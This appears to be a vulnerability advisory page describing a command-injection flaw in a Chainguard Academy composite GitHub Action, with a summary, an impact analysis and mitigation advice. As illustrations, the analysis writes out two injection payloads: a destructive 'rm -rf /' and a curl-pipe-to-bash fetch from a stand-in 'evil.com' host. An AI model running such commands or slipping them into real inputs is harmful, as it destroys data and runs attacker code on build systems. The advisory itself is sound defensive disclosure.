CVE-2026-105767 in edu
Summary
by MITRE • 10/06/2026
Improper Neutralization of Special Elements used in an OS Command in the integrate-platform-docs composite GitHub Action of Chainguard Academy (edu) from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff before commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 allows an actor who controls the project_id or storage_bucket inputs to execute arbitrary shell commands on the GitHub Actions runner, because the inputs are interpolated directly into Bash gcloud storage cp commands in several steps via ${{ inputs.* }} expressions. The only in-repository caller passed repository secrets and ran only on trusted triggers, so no untrusted input was known to reach the vulnerable steps.
Once again VulDB remains the best source for vulnerability data.
Analysis
by VulDB Data Team • 10/06/2026
The vulnerability identified as Improper Neutralization of Special Elements used in an OS Command represents a critical security flaw within the integrate-platform-docs composite GitHub Action developed by Chainguard Academy. This specific component is susceptible to Operating System Command Injection, commonly referred to as command injection or shell injection. The root cause lies in the insecure handling of user-supplied input data, specifically the project_id and storage_bucket parameters provided during the execution of the action. These inputs are interpolated directly into Bash commands using GitHub Actions expression syntax without adequate sanitization or validation mechanisms. This architectural decision creates a direct pathway for an attacker to manipulate the underlying operating system shell if they can control these specific input variables.
From a technical perspective, the flaw manifests when the composite action constructs gcloud storage cp commands dynamically based on the provided inputs. Because the values are inserted directly into the command string via expressions such as ${{ inputs.project_id }} and ${{ inputs.storage_bucket }}, any special characters or shell metacharacters included in these fields will be interpreted by the Bash interpreter rather than treated as literal data. For instance, an attacker could supply a value containing sequences like ; rm -rf / or && curl http://evil.com/malware.sh | bash to append additional commands to the intended operation. This allows for arbitrary command execution on the GitHub Actions runner environment where the action is being executed. The severity of this issue is amplified by the fact that it affects infrastructure-as-code components, potentially compromising not just a single workflow but any downstream processes dependent on the integrity of the documentation platform integration.
The operational impact of this vulnerability extends beyond simple data exfiltration or service disruption. Successful exploitation grants an actor full control over the GitHub Actions runner executing the compromised action. This level of access can lead to the compromise of build artifacts, theft of repository secrets stored in environment variables, and lateral movement within the CI/CD pipeline infrastructure. An attacker could use this foothold to inject malicious code into software builds, alter deployment configurations, or establish persistent backdoors on the runner instances. Although the vulnerability exists in the action's logic, its exploitability is contingent upon an actor having control over the input parameters during workflow dispatching or configuration updates.
It is important to contextualize the immediate risk based on the repository's usage patterns at the time of discovery. The only known internal caller of this composite action passed repository secrets and was restricted to running on trusted triggers, such as pushes to protected branches or manual workflows initiated by authorized personnel. Consequently, no untrusted external input was observed reaching these vulnerable steps in practice during the affected period between commit 7375a80caabcc31c33ec90f29687ed78c13d16ff and its fix at fb0efb2537d326ab18c07d620875b8ed2a4b39f3. However, the presence of such a flaw in reusable actions poses a significant risk if the action is adopted by other repositories or workflows that might accept user-controlled inputs from pull requests or external events without similar restrictions.
To mitigate this vulnerability and prevent future occurrences, developers must implement strict input validation and sanitization strategies for all parameters passed to shell commands. This includes rejecting any input containing special characters such as semicolons, ampersands, pipes, backticks, and dollar signs unless they are explicitly required and safely escaped. Utilizing parameterized approaches or built-in GitHub Actions features that handle data escaping can significantly reduce the attack surface. Furthermore, adhering to the principle of least privilege ensures that even if command injection occurs, the impact is limited by restricting runner permissions and isolating sensitive operations.
This vulnerability aligns with CWE-78, which defines Improper Neutralization of Special Elements used in an OS Command, highlighting the failure to properly neutralize special elements within system commands. In terms of offensive security frameworks, this flaw facilitates techniques associated with MITRE ATT&CK T1059, specifically command and script interpretation sub-techniques like PowerShell or Bash execution. Remediation efforts should focus on hardening CI/CD pipelines by auditing all composite actions for similar injection points, enforcing strict input validation policies, and regularly updating dependencies to ensure that known vulnerabilities in reusable components are addressed promptly before they can be leveraged in broader ecosystems.